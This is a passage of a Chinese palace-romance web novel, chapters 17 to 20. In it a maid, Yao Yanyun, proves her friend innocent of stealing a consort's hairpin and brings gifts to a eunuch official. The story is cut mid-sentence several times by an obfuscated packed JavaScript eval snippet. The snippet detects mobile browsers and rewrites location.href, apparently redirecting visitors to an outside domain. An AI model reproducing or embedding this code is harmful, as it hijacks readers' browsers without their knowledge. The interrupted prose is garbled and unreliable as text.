于是蓝砚舟就让另外两个宫女一组,他和姚砚云一组,拖着车去城门外拉药材去了。 “姚姑娘,我给你的药,你可有按时喝。”,蓝砚舟在前面拉着车,目光却总像系了丝线似的,时不时回头望向,走在拖车后头的姚砚云。 姚砚云正想东西出了神,闻言回过神来,“有喝啊。” “蓝太医,我觉得自己也好的差不多了,这药不用一直喝吧。” “先前仲和说,你是体虚,所以我给你开的是温和进补的方子。”,蓝砚舟顿了顿,“不过你身子应该是没什么问题的,就是我也没帮你把过脉,如果你愿意的话,下次我帮你把把脉看看。” 蓝砚舟这样说,是因为之前仲和还在宫里的时候,很频繁给姚砚云开药,他曾经问过仲和,给她开的是什么药,仲和每次都说“病人的隐私你别瞎打听。” 后面仲和被他缠的没办法了,就说了姚砚云只是体虚而已,开的都是补药。 姚砚云道,“行,有时间的话,我去找你看看。” 把宫门的药材搬完时,已经是日落时分了。 姚砚云和蓝砚舟在太医院的库房分了别。 蓝砚舟擦了擦额头的汗,“明日记得来找我拿药。” 姚砚云道,“这里离太医院就二十来步,不如你现在就拿给我,不然明天你又得找我一趟,多麻烦你啊。” “不麻烦......一点都不麻烦。”,蓝砚舟忽然低下了头,“姚姑娘,你明天记得来......” 姚砚云心想,他都不怕麻烦,自己还怕啥,于是应了一句,“那明日见。” 蓝砚舟抬手挥了挥,“明日见。” 他的目光始终落在姚砚云转身的背影上,宫道上的日光斜斜切下来,把她的影子拉得很长。 风轻轻掀起她裙摆的一角,碧色的料子晃了晃,又很快垂落。 他就那么站着,看着她的身影转过朱红宫墙的拐角,直到裙角的碧色彻底融进墙后的阴影里,连最后一点衣袂翻飞的弧度都看不见了,才慢慢收回视线。 他喉间轻轻动了动,嘴角却先扬了起来,一下子觉得心情很放松。 转身往太医院走时,鼻尖似乎还萦绕着,她刚才站过的地方的气息,不是名贵的香,是她方才搬药材里带出的甘草香,混着点新晒的薄荷气,清清爽爽的,像她说话时的声音。 17. 第 17 章 宫里有个旧例,每年总要安排一日,让宫里头的太监宫女们,和宫外的家人见上一面。 这日,是绝大部分太监宫女一年中最幸福的日子了,他们早早起床洗漱,穿上最崭新的宫服,有序地在雁塔门那处候着。 雁塔门往里走,是间宽敞的值房,里头早用屏风隔出了好些个小小的隔间,供宫人和他们的亲人短时间的团聚,按照规定和亲人说话的时间不能超过一刻钟。 姚砚云马冬梅巧慧和啊芳,四人早早就来到了这边。 巧慧和啊芳的亲人都在京师近郊的村里,所以每年都会来看望她们,而巧慧的姑姑远在千里之外,自她进宫那天起,就从未踏进来过这宫墙一次,姚砚云就不用说了,她是来看热闹的。 很快随着掌事太监的一声令下,宫里排着长队的人群,和宫外排着长队拿着大包小包的人,在一群太监的安排下开始陆续进入值房。 团聚完陆陆续续走出来的宫人们,有些哭有些笑,但不变的是,几乎每人手中,都提着好几大包东西出来,那是他们的亲人给他们带的特产。 姚砚云和马冬梅在一角落处,等着巧慧和啊芳。 姚砚云问,“冬梅,你姑姑今年怎么没来看你。” “她。”,马冬梅迟疑了一下,“她没来过。” “是因为太远了吧。”,姚砚云记得马冬梅和她说过,她是苏州人,“毕竟山长水远的,的确是不方便。” 马冬梅摇了摇头,“就算很近,她也不会来的。” “当初她之所以把我送进宫,是因为觉得我是个累赘。”,马冬梅脸上浮过一丝悲色,“她才不待见我。” 姚砚云十分惊讶,“意思是,你们快二十年没见过面了。” 马冬梅道,“是啊,马上就要到出宫的年纪了,也不知道那个家还让不让我回。” 马冬梅的父母早亡,她的姑姑照顾了她几年,期间非打即骂,后面实在觉得她太碍事,就托人把她送进了宫。 “冬梅,要是不能回,你以后就和我一起吧。”,姚砚云拉着她的手,“怎么样,我们两个有手有脚还能饿死不成。” 马冬梅笑了,“好!那我跟着你。” 雁塔门东侧的飞檐下,张景和半倚在朱漆大柱旁。 绯红色的宫袍一角垂落,恰好遮住靴底沾着的些许尘土,那是他从司礼监一路走到城楼时沾上的,他微微俯身,目光越过楼下攒动的人影,最终落在一张张或喜或忧、或愁或怨的脸上,那些属于宫人的细碎情绪,像檐角垂落的蛛丝,在他眼底轻轻颤动。 每年到了这一日,他总会登上城楼,静静待上半日。 目光始终落在楼下那些人的脸上,大多是揣着满心欢喜进去,出来时却红了眼眶,或是一步三回头地恋恋不舍。 看他们手里攥着的布囊,鼓囊囊的,又或是瘪塌塌的,他总会忍不住揣度,里头究竟盛着些什么?是家里烙的热饼,还是缝补好的旧衣,又或是几句写在纸上、没敢说出口的叮咛。 人群里突然传来孩童的笑闹,两个穿的很破烂的约六七岁的幼童,正一人一边抱着一宫女的双腿,一旁站着的母亲叮嘱那宫女,“娘很记挂你,你两个弟弟也记挂着你,天要慢慢变冷了,你要多穿点,多吃点。” 张景和望着那些被家人围住的身影,喉间轻轻动了动,又将目光移向远处的宫墙。 他又往前走了几步,微微侧着腰双手扶着城墙上,忽然,他就对上了楼下的一双眼睛,他还没反应过来的时候,对方已扬着双手,热热闹闹地朝他打起了招呼。 “真是倒霉!”,张景和低声说了一句。 他心里一下子就来了气,怎么在哪里都能看到她? “冬梅,你看,张公公也来了。”,姚砚云指了指。 见张景和望向了自己,她连忙将双手在胸前交握,又用力挥了挥,脸上堆着十足的热络。 热情点总是没错的。 之后巧慧和啊芳都提了好几袋的布囊回来了,四人一起回到了宫房。巧慧和啊芳的亲人带来的都是一些吃的东西,酱菜、腐乳,红糖、枣糕之类的一些东西。 她们给姚砚云和马冬梅分了一些。 四人吃着枣糕聊着天。 “我家里人给我说了亲。”,啊芳羞涩着道,“是我的远房表哥。” 马冬梅好奇地问,“你表哥长的俊不。” “孩童时期见过几次,那时候他白白胖胖的。”,啊芳笑了笑,“好多年没见了。” 马冬梅又问,“那万一他长的不俊,咋办。” 啊芳道,“那也得嫁啊,父母之言媒妁之约。” 姚砚云心想着,眼看就要到出宫的日子,巧慧和啊芳都有了着落,她和马冬梅连个住的地方都没有,也是辛酸......这老天还真是专挑命苦人啊。 见姚砚云发呆,啊芳推了她一下,“你想啥呢。” 马冬梅捂着嘴笑,“在想蓝太医吧。” “啊!”,在场三个人几乎同一时间发出疑问。 姚砚云瞪了她一眼,“冬梅你别瞎说啊。” “我没瞎说。”,马冬梅往啊芳耳边凑,“人家蓝太医可贴心了,又是送药又是送吃的。” 姚砚云白了她一眼。 巧慧问,“是那天我们在挑药材时,和冯公公说话的那个人吗?” 马冬梅点了点头。 巧慧道,“砚云,蓝太医是太医院院判的独子,你要是和他能结的了因缘,也是不错的。” 姚砚云笑了笑,“我和他还没这一步呢。” 紧接着几人的话题就绕到了蓝砚舟身上,姚砚云先前瞧着啊芳和巧慧这两人平日里斯斯文文的,原以为她们只会说些家长里短的体己话。没承想一扯开话头,宫里那些针头线脑的琐碎事,她们竟知道得比谁都清楚。 听得姚砚云一愣一愣的。 姚砚云问,“有九个姐姐?” 啊芳道,“蓝院判在四十岁的高龄才有了蓝太医,在这之前可是有九个姐姐的。” “啊,生了九个啊。”,姚砚云虽知古代没有避/.孕技术,但听到生了九个,还是不免惊讶。 “他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你来的正好,我刚好想派人和你说呢,那玉佩得等几天了,之前剩下一枚被人买走了,你再等几天吧。” 姚砚云有些着急,“能尽快吗,公公,我这边比较急。” 刘公公不急不慢地道,“那我给你换个款式?还有小狗小兔子的,这些倒是不用等。” “那不行,那还是等几天吧。”,姚砚云道,“公公,那麻烦您了。” 姚砚云还有活没做完,和刘公公行了个礼,就打算走了,刚想转身离开,刘公公忽然叫住了她,“还有一笔更大的钱,你赚不赚?” 姚砚云有些好奇,“公公,那您说说看。” 刘公公走到了姚砚云身侧,有些神秘地凑到姚砚云耳边。 只见姚砚云听着听着,原本舒展的眉峰慢慢蹙起,喉结都用力滚了滚,听着听着又抬手按住额角。 后面,她的双眼更是瞪的和铜铃一般,“公公,您,您您确定吗?” 刘公公一脸自信,“你赚还是不赚?” 18. 第 18 章 姚砚云和马冬梅正在宫房内吃午饭。 “冬梅,看来我今晚得和你一起睡了。”,自从这几天开始降温后,姚砚云总觉得晚上睡不暖。 “我还没见过像你这么怕冷的。”,马冬梅津津有味地咬了一口馒头,“这还没正式入冬,我看你以后咋办。” 姚砚云笑了笑,“那就一直和你睡呗。” 话音刚落,她三两口扒完碗里剩下的米粥,便急着坐到木桌前,开始画起来。 和上次不一样的是,姚砚云画的时候总是躲躲闪闪怕被马冬梅看到,马冬梅一靠近,姚砚云就赶紧用身子护住画。 一来二去的,搞得马冬梅好奇心都起来了。 “你到底画的啥啊,这么神秘。”,马冬梅凑了过去了,“你给我看看。” 姚砚云又把身子侧了一下,“去去去,小孩子还是少看。” “哐哐哐~” “哐哐哐~” “砚云砚云,冬梅冬梅,你们在不在。” 门外传来啊芳急促的叫声。 “怎么了啊,门都要被你敲烂了。”,马冬梅穿鞋后慢悠悠地去开了门。 “不好了不好了,巧慧下狱了”,啊芳的眼泪一下子就出来了。 “你慢慢说,别着急。”,姚砚云放下手中的笔,拍了拍她的背。 谁知,啊芳又哭又急地说了半天,也没个重点。 “好了好了,你别说了。”,姚砚云打断她道,“你的意思是,她被几个太监押进西牢那边是吧。” “那我再问你,她中午有和你说,她去哪里当差了吗?” 啊芳道,“早上我和她一起去花房,给懿嫔娘娘的宫里送鲜花,送完鲜花后,有个掌事姑姑叫住了她,好像要安排她做什么事,我就先回来了。” 啊芳越说越着急,“原先我以为她是被留下做什么事了,可刚才听别人说,巧慧被抓进西牢了。” 西牢是专门关押犯事宫女的地方, 看来得见到巧慧本人才能知道发生了什么事,姚砚云穿好了鞋,准备去西牢一趟。 被关进西牢的宫女,只要不是犯了死罪,外人想进去看望其实并不难,有银子就行。 姚砚云问,“一般要给多少银子,狱卒才愿意放人进去。” 啊芳道,“听说至少要一两银子才给进。” 姚砚云换上了一件厚棉袄,“行,那我们去找。” 马冬梅见姚砚云往西牢的反方向走,疑惑地问了句,“砚云,你走错了。” “我没走错,我哪里有银子给狱卒,现在得去巧慧的房间拿。”,姚砚云看了眼啊芳,“你知道她的私房钱在哪里吗,我可没钱。” 啊芳道,“知道。” “行!” 三人快步走去。 “公公,中午关进来那名叫巧慧的宫女,是我的姐妹。”,姚砚云转头看了一圈,确定周围无其他人,把银子分别塞给了看守西牢大门的两位公公,“劳烦公公您了。” 其中一名太监伸了个懒腰,“只能进去一刻钟。” 三人听闻后,都欣慰一笑。 “喂,你们想做什么?谁叫你们进去的?” 就在姚砚云几人准备进去时,一声呵斥阻止了她们的脚步。 见姚砚云几人茫然的样子,那太监瞪了一眼,“蠢货!你们只给了一份钱,还想三个人一起进去?” 马冬梅和啊芳停下了脚步。 姚砚云跟着那名面无表情的太监穿过西牢的一处通道,直到停在一间牢房前,太监才从腰间摸出钥匙,打开了挂在牢门上的铁锁。 姚砚云深吸一口气跨进去。 这间逼仄的牢房,没有她想象中那般暗无天日,有个窗户,外头阳光照进来,姚砚云清楚看到了巧慧那双红肿的双眼。 巧慧冷静地和她说了今日发生的事情,今日一早,她和其它四个宫女给懿嫔娘娘宫里送鲜花过去,在掌事姑姑的安排下,她们把拖车上的鲜花放置在了院子中,之后她们就告辞离开了,还没走出延禧宫,掌事姑姑就叫住了她,让她去银作局拿一支簪子。 后面她就去了一趟银作局,拿到了那支簪子,从银作局往延禧宫的路上,在宫道上看到一名只有十一二岁的小宫女,推着一车炭经过,也不知道怎么的,走着那车连带着炭忽然翻了,她就好心去帮忙了一下,就把托盘放到离她四五步一根石柱上。 帮那小宫女把车和炭扶起来后,她转身一看,那托盘和放置簪子的木盒已经摔倒在地,木盒已经被打开,里面的簪子不见了。 “你又不是延禧宫的人,为什么要叫你去拿簪子。”,姚砚云越想越不对劲,“你是不是得罪什么人了?” 巧慧抽了抽鼻子,“延禧宫那边我还是第一次去,那边的宫女太监我更是一个都不相识。” “你再想想。”,姚砚云心里清楚,在古代这样的环境,丢了宫里的东西,还是宠妃的东西,很有可能是要掉脑袋的。 “砚云,我实在想不出来。”,巧慧哽咽着,红肿的双眼又开始流泪,“我看那小宫女很瘦小,就想着帮她一下,我没想到自己会闯下这么大的祸。” 那就奇怪了,宫里的东西一般都会标明出处,比如懿嫔的簪子是银作局这边打造的,那木盒上是会印有银作局的字样的,再加上宫里给嫔妃打造的东西都是奢华名贵的,一般人谁敢偷啊?就算偷簪子之人不认识字,那打开木盒时看到簪子的款式,敢拿吗? 姚砚云问,“你当时在扶车时,没看到其他宫人经过吗?一个人都没有?” 巧慧道,“那车炭虽然装的很满,可我们两人片刻就把它装好了,期间并见一任何宫人经过。” “他们说,要是我不愿意招,就把我送去诏狱。”,说完就呜呜呜哭了起来,“我没有偷。” 听到诏狱两个字,姚砚云腿都软了,她的心砰砰砰加速跳了起来,进了诏狱这种地方,就算了半条腿踏进了阎王殿了。 “别哭了。”,姚砚云握着她的手,“你看着我的眼睛,你如实告诉我,簪子是不是你拿的。” 巧慧一下子就愣住了,过了好一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325959|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她才有些发怒地道,“砚云,就是给我九条命,我也不敢拿宫里娘娘的东西,你怎么能这样想我。” 姚砚云松了一口气,“那就行了,既然不是你拿的,那咱们就去想办法。” 司礼监的值班房内,张景和正在誊抄几份隆景帝安排下的内旨,他昨晚睡的不好,此刻虽脊背挺得端正,指尖却控制不住地发沉,连笔下的字迹都比往日多了几分滞涩。 就在这时,房门被轻轻推开,吉祥走了进来,“老爷,懿嫔娘娘那边说,有个宫女偷了她的簪子,让你去一趟西牢。” 张景和把那支紫毫笔重重放在桌面,眼睛里全是疲惫,“这宫里的人都死完了吗?这点小事要我去?” 话落,他又重重喘了口气,伸手按了按发胀的太阳穴,显然是被这突如其来的差事搅得更加心烦。 “懿嫔娘娘说了,就要你来......说老爷你处事最公。”,吉祥擦了擦额头的汗,“懿嫔娘娘还说,她已经禀告万岁爷了。” 张景和冷笑一声,“又是她!” 懿嫔把隆景帝都搬出来了,那他就不得不去了,他闭了闭眼,压下心头的烦躁,伸手将桌上散乱的内旨仔细叠好。 他已经有十年没来过西牢了,不过在这个地方审案倒是比诏狱好很多,这边有阳光,不至于让人感到太压抑。 到了审案的屋子,他径直走到长条形案几后坐下,指尖无意识地按了按发紧的眉心,昨夜的倦意又翻涌上来,刚歇了片刻,巧慧就被押了过来。 巧慧一进屋子就跪伏在地上,身子控制不住地瑟瑟发抖,散乱的发髻垂在脸侧,连抬头的勇气都没有。 张景和目光落在她身上,声音没有半分温度,“说吧,簪子哪里去?” 巧慧浑身颤抖着,许久才勉强说出了一句话,“公公,奴婢没有拿,没有拿,求公公您明鉴。” “簪子是在你手上不见的,既然你没拿,那是谁拿的?”,张景和道,“这样,你告诉我是谁拿的,我拿到簪子,你不就无罪了吗。” 巧慧的头都快低到地面了,“我不知道谁拿的,我也没有拿。” 张景和看着她这副模样,指尖在案几上轻轻敲了敲,忽然重重叹了口气,“你叫巧慧是吧,你看着也不像是刚入宫的小宫女,你应该知道这宫里的规矩吧,做错事是能打就不骂,能杀就不打,你说说我要怎么处罚你。” 话落,屋内陷入一片死寂 张景和又问,“不说话了?” 巧慧的身子晃了晃,脸色瞬间变得像死灰一般惨白,嘴唇嗫嚅着,却还是重复着那一句话,“我没有拿。” 张景和眼底最后一点耐心也耗尽了,他猛地站起身,袍袖重重一拂,“你现在不说,那就永远也不要说了。” 一旁的太监见张景和也没审几句,也没说动刑,就直接走人,这可不像东厂这边的风格啊,那接下来应该如何呢?一下子也猜不到他的心思。 于是他追了上去。 “厂公!,那,那这个宫女怎么处理啊?先打个二十大板吗?” 19. 第 19 章 姚砚云来到了巧慧丢失簪子的地方。 从银作局出来会经过一个叫安定门的地方,安定门继续往前走是通往各宫嫔妃住的宫殿。 丢簪子的地方是在安定门边上一条空旷的宫道上,除了两侧种有一些银杏树外,并没其它可以藏身的物体,总不能是偷簪子那人,提前藏到了树上,偷了簪子后又立刻爬上了树吧? 她又找到了巧慧说的那根石柱,这段路只有这么一根石柱,按照她说的,当时她人就在距离四五步的距离,要是有人经过,她不可能发现不了的。 姚砚云百思不得其解,她实在想不通哪个不要九族的宫人,敢偷宫里的东西。 或许,巧慧真的是得罪人了吧? “喵喵喵~” “喵~” 蓦地,一只小黑猫从她的脚边快速窜过,几息的功夫就窜到了树上。 哎呀!她想起来了,这宫中到处都是野猫,说不定这簪子就是被野猫叼走的,她实在想不到谁有那么大胆,敢偷宠妃的东西,可这些野猫就不一样了。 她又想起,方才去西牢时,她出于好奇,让那公公把装簪子的木盒拿给她看了下,她清楚地记得木盒正前方玫瑰花纹,有一条小小的划痕,当时她还没在意。 现在结合起来一想,只有猫才能近乎无声无息地靠近那根石柱,那木盒又没有扣子,它的猫爪往上一抓,就能把盖子打开,之后便可以神不知鬼不觉地把簪子叼走。 想到这些,姚砚云开心地在原地跳了跳。 定是被猫叼到了宫里某个角落了,只要把簪子找到,巧慧就能放出来了。 深呼了几口气,又双手摩擦让自己暖一些后,姚砚云快步地回去,找到了马冬梅和啊芳,除了安定门,三人把这宫中猫最集中之地划分出来,三人分头去找。 姚砚云负责找东华门那一片,那边的槐树底下,有很多野猫在那边歇息。 可希望越大,失望越大,姚砚云在东华门那一片她能进去的地方都找遍了,找了将近两个时辰,也没看到簪子的影子,天已经开始黑了...... 她往回走,她这边既然没有希望了,冬梅和啊芳说不定已经找到了。 “哎呦,这不是姚姑娘吗。” 一把尖锐又阴阳怪气的声音传来。 姚砚云定晴一看,是之前骚扰过巧慧的王公公。 王公公远远就看到姚砚云似乎在低头找什么东西。 一股厌恶感直冲脑门,姚砚云连眼皮都懒得抬一下,只加快了脚步,只想赶紧避开这腌臜人。 王公公铁了心要恶心她,见她走的飞快,还特意转身和她喊话,“你不是说你是张公公的女人吗?怎么你的好朋友都进西牢了,你都不去救她啊。” 见姚砚云不愿意停下,他又道,“该死!连宫里娘娘的东西都敢偷。” 姚砚云怒道,“你胡说!” 王公公幸灾乐祸笑了起来,“她要是没偷,人家能抓她?” 姚砚云真想把眼前这人的嘴巴给撕了,“你给我闭嘴。” 王公公笑的更开心了,“可惜啊,你的朋友就要死了,就你还想找到那只簪子,你这辈子都别想找到哈哈哈哈哈。” 王公公很得意地走了。 姚砚云听到这话,心中一紧。''就你还想找到那只簪子'',他这话就像他知道点什么事似的,又好像他知道簪子在哪里似的。 她刚想追上去问王公公这是什么意思,马冬梅和啊芳在前方赶了过来。 遗憾的是她们两人也没看到簪子的影子,姚砚云方才听那王公公说,审理此案的人是张景和,她更担心了,张景和是什么人她是知道的。 可现在该怎么办啊.....眼睁睁看着巧慧去死吗。 啊芳这时开口了,“砚云,我听说这事是张公公在查,你们不是有交情吗,你能去求求他吗。” 姚砚云面色苍白,“我和他还没熟到这种地步,而且这是懿嫔的东西不见了,张公公还做不了懿嫔的主。” “那巧慧怕是要没命了。” “呜呜呜呜呜呜。” 啊芳瘫在地面大哭了起来。 姚砚云把啊芳扶了起来,“不准哭,我们去找王公公。” 马冬梅和啊芳几乎同时发出了疑问。 于是姚砚云就把方才发生的一幕告诉了两人,“我觉得他知道点什么。不然他怎么敢说这些话。” 几番周折打听,姚砚云总算寻到了王公公的宫房,她让马冬梅和啊芳在外头等她。深呼吸了好久才敲门进了去。 他的品级比张景和低很多,住的是三人间的宫房。 一进门,一股混杂着霉味与汗馊的气息扑面而来,闷得姚砚云胸口发堵。 她不禁想起,每次去张景和的公所,都有一股闻起来很舒心的檀香味。 王公公正坐在那边泡茶,“哎哟!这不是张公公的女人,姚姑娘吗?大晚上的大驾光临有什么指教。” “可不敢让你进来啊,让张公公知道,不得扒了我的皮啊。” 姚砚云强笑着回话,“公公,我今晚来找你是什么目的,相信你是清楚的。” 说完顿了顿,语气放的更柔,“你大人有大量,好心有好报,你就告诉小云吧,这簪子到底是怎么个事啊。” 王公公一脸受用的样子,“你还挺聪明的嘛,一点拨就知道是什么意思了,还不算太蠢。” 听到此话姚砚云的心一下子就剧烈跳了起来,这个王公公果然知道些什么。 “那你告诉小云嘛,上次之事的确是小云不对,有机会我总会报答你的。” “呵呵!”,王公公冷笑一声,“你是不是张公公的女人吗?怎么她不愿意帮你的朋友?” “这点小事他都不愿意帮你?” 我与他……吵了架。”姚砚云垂下肩膀,声音发闷,像是含着泪似的,“公公,你就帮小云一次吧,我和张公公总会和好的。” “你帮了我,说不定那天我就在张公公面前帮你。” 王公公不以为然,“哼,你觉得我会相信你的话?” “公公~”,姚砚云的嗓子都快夹冒烟了。 “巧慧是我很重要的朋友,你帮了我,我必定会记着你这个恩情的,你只需要提示我几句就可以了,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来她真得找蓝太医帮自己把把脉了,说到蓝太医,她又想起一件事,今天是他们约定好拿药的日子,她又给忘记了。 “哎呀,找到了!” 啊芳一声惊呼,把姚砚云从思绪中拉了出来。 “砚云,冬梅,找到了!” 是一支云纹簪,应该就是它了! 好耶!巧慧有救了。 第二天一早,张景和如期来到了北牢。 他还没开始审讯,姚砚云就和外面的太监说,自己找到了簪子,要进去见张景和。 姚砚云于是就把事情一五一十告诉了他,张景和又让银做局的人来认簪子,经确认,这的确是给懿嫔打造的那一支。 巧慧这条命总算是保住了。 可毕竟是她把簪子搞丢了,死罪可免活罪难逃,最后被罚一个月俸禄,加打十个板子。 姚砚云拿着巧慧的钱,收买了打板子的太监,巧慧倒是没太遭罪。 几人扶着巧慧出了北牢。 20. 第 20 章 翌日,姚砚云来看巧慧,见她虽趴在床上不能起身,但胃口还是不错,就知道那事没太影响她。 “这样才对嘛,吃多点身体才好。”,姚砚云递给巧慧一个肉包。“这是最后一个,等你吃完我就要走了,改天再来看你。” 巧慧笑了笑,“那你替我多谢张公公一声,按照规矩我进北牢的当晚要受刑了,想必张公公是看在你的面子上,才放过我的。” 那时候张景和应该不知道她们是相互认识的吧?又何来看在她的面子上,不过姚砚云也懒得解释了,等下谎言越编越多。 “行,我和他说一声。” 从巧慧的宫房出来后,姚砚云又和赶去了和华清观那边,她和其他洒扫宫女得把观里十几个房间的地板擦干净。 她自然是和马冬梅一组的,两个苦命人手都擦红肿了。 姚砚云边擦地边说话,“冬梅我和你说,你千万得记住这种苦,以后出宫了可得嫁个有钱人,要过上十指不沾阳春水的生活!” 马冬梅喘/.着气道,“谁不想嫁个有钱人,那人家得看得上我啊。” “有些有钱人,想法也多,三妻四妾的,也是糟心,就比如陈忠义够有钱了吧,你敢嫁他吗。” 姚砚云也喘/.着气问,“那你想嫁咋样的?” 马冬梅有些羞涩地笑了笑,“不用太富,但是要长的俊一些,对我好一些。” 姚砚云噗嗤一声笑了出来,“好看能当饭吃啊?” 马冬梅问,“那你喜欢咋样的?” “我嘛。”,姚砚云嘿嘿嘿笑了几声,“我喜欢又俊又有钱的。” 马冬梅道,“那不就是说蓝太医吗?他家本就开着药房,家底殷实得很,嫁给他也是吃喝不愁的。” 姚砚云赶紧捂着马冬梅的嘴,“你小声,仔细被旁人听了去。” 马冬梅唔唔两声挣开她,从袖口摸出个巴掌大的小木盒,“差点把正经事忘了,我方才过来时,恰巧撞见蓝太医,他说让我把这个给你。” 姚砚云捏着木盒边缘打开,里头躺着枚同心结...... 怎么这边的人都那么喜欢送同心结...... 马冬梅在一旁瞧着她神色,打趣道,“说起来,蓝太医像是特意在那边候着你的,没见着你时,他脸上那失落劲儿,明眼人都瞧得出来。” 姚砚云:...... 她把同心结放回盒里,仔细收进袖中,这段时间接触下来,他觉得蓝砚舟这个人品行端正,待她也总带着几分恰到好处的温柔体贴,从他询问她的病情,给她送药,她多少能感受到对方的心意。 可动心……是真的没有。 只是,她快要出宫了,往后的日子会是怎样,她一点底也没有,宫里虽不自由,至少衣食无忧,出去了,在这全然陌生的朝代,举目无亲,前路茫茫。 有个可靠的男子能依托,或许真的是件好事…… 她望着窗外廊下的光影,轻轻蹙了蹙眉。 擦完地,两人皆是一身薄汗,并肩回了宫房。 去小厨房拿到了晚餐的食物后,就坐在桌前吃了起来,吃完没多久就有宫女和她说外头有人找。 是刘公公派来的小公公。 “姚姑娘,你托刘公公买的玉佩到了。”,小公公把一个精致的描金漆盒递给了姚砚云。 姚砚云接过盒子,小心翼翼掀开盒盖,红绳系着的玉坠卧在软垫上,是只蜷着爪子的小胖猫,玉雕得憨态可掬,猫眼处嵌着两粒碧色琉璃,在太阳光下闪着莹润的光。 她拎着红绳轻轻晃了晃,玉猫随着动作微微摆动,活灵活现的,她的眼睛笑的月牙儿一样,“真好看啊。” 花了一百两银子就买到手指头那么大的,希望那个傻逼太监喜欢吧。 她又走回了屋内,把玉佩拿给马冬梅看。 “一百两就这么点东西啊,这么贵,张公公肯定喜欢的。”,马冬梅又转身打开木箱子,把之前做好的鞋子拿了出来,“这个你今晚一起拿过去。” ———————— “姚砚云你有什么话就赶紧说,没事就滚。” 张景和今晚本来是不想见人的,可姚砚云在屋外是一会儿哭一会笑,张景和觉得吵,就把她放进来了。 姚砚云道,“是是是,小云和公公说几句话就走了。” 张景和挑眉,“那我倒是要听听,有什么急事,非要大晚上说的。” 被他这么一说,姚砚云又不好意思给了,她忽然想到,送鞋子送玉佩有点小暧昧,特别是那双鞋子...... 早知道直接折成银票给他了...... 张景和见她半天支支吾吾,眉头拧得更紧,语气添了几分不耐烦,“没话说就赶紧走人,别在这儿碍眼。” 姚砚云慌忙应声,手心都出了汗,“有啊.......有啊,我有话说......” 姚砚云咽了咽口水,“我......我有东西想送给公公您。” 说完,从袖中摸出那个装着玉佩的小盒,递过去时手还微微发颤,“公公您看看,喜欢不喜欢?” 她心里清楚,以张景和的性子,断不会伸手来接。于是干脆往前凑了半步,把木盒直接塞进了他的左手心,又小心翼翼地掀开了盒盖。 张景和垂眸瞥了眼,修长的手指捻起那根红绳,将玉佩拎了起来,他微微眯起眼,把玉猫举到与眉平齐的地方,借着窗棂透进来的月光仔细端详,指腹还在猫头上轻轻摩挲了两下,像是在感受玉质的温润。 脸上还是没有一丝表情,嘴角紧抿着,姚砚云看不出来他到底是喜欢还是不喜欢。 姚砚云试探性地问,“这玉佩,公公您喜欢吗。” 张景和抬眼望着她,语气里带着几分似笑非笑的讥诮,“姚砚云,想不到你一个最低等的洒扫宫女,竟舍得买这等物件。” 姚砚云心里直犯嘀咕,管我从哪儿弄来的,眼下是问你喜不喜欢!东拉西扯做什么。她耐着性子又追问了一遍,“那公公您喜欢吗?” 张景和嘴角终于微微上扬了。 他回,“不喜欢。” 姚砚云:... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325961|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... “你这是什么表情,你要是舍不得你就拿回去。”,张景和把那玉佩往桌上一放。 “不不,公公您就收下吧。”姚砚云连忙摆手,心里把这傻逼太监骂了千百遍,脸上还得赔着小心。 张景和不语。 姚砚云瞅着他这副鬼模样,索性把旁边的布袋往桌上推了推,“公公,我还有份礼物要送您。”她伸手从袋中取出那双鞋,“是,是我亲手做的鞋……您瞧瞧喜欢吗?” 张景和看到姚砚云从布袋拿出鞋的一瞬间,就笑了,他想到姚砚云这千方百计想讨好他的样子,就很想笑,觉得心里十分的畅快!眼前的这个女人,曾经多次羞辱她,如今还不是得低眉顺眼地来求他? “这鞋子,”他慢悠悠地开口,目光在鞋面上扫了一圈,“你给陈侍卫也做过吗?” 姚砚云:...... 张景和往前倾了倾身,声音压得更低,“我听别人说,女子给男子做鞋,是托付终身的暗语。你给我做鞋,陈侍卫知道吗?” 姚砚云:...... 姚砚云攥紧了拳头,这傻逼太监真的没完没了了!真想抽他十八掌啊! 姚砚云强颜欢笑,“公公,我可没给陈侍卫做过鞋,他不配。” “哦?”张景和挑了挑眉,眼神里的探究更浓了,“那你为何给我做?难道我就配了?怎么,莫非我在你心里是什么要紧的人?” 姚砚云索性放开了讲,“公公您是个好人,那天要是换了别人,巧慧早被打死了,您救了她一命,我很感激您。” “小云也和你实话实话吧,今晚来找您,给您送这些东西,希望您能大人有大量,把我的名字从那份名单上划掉。” 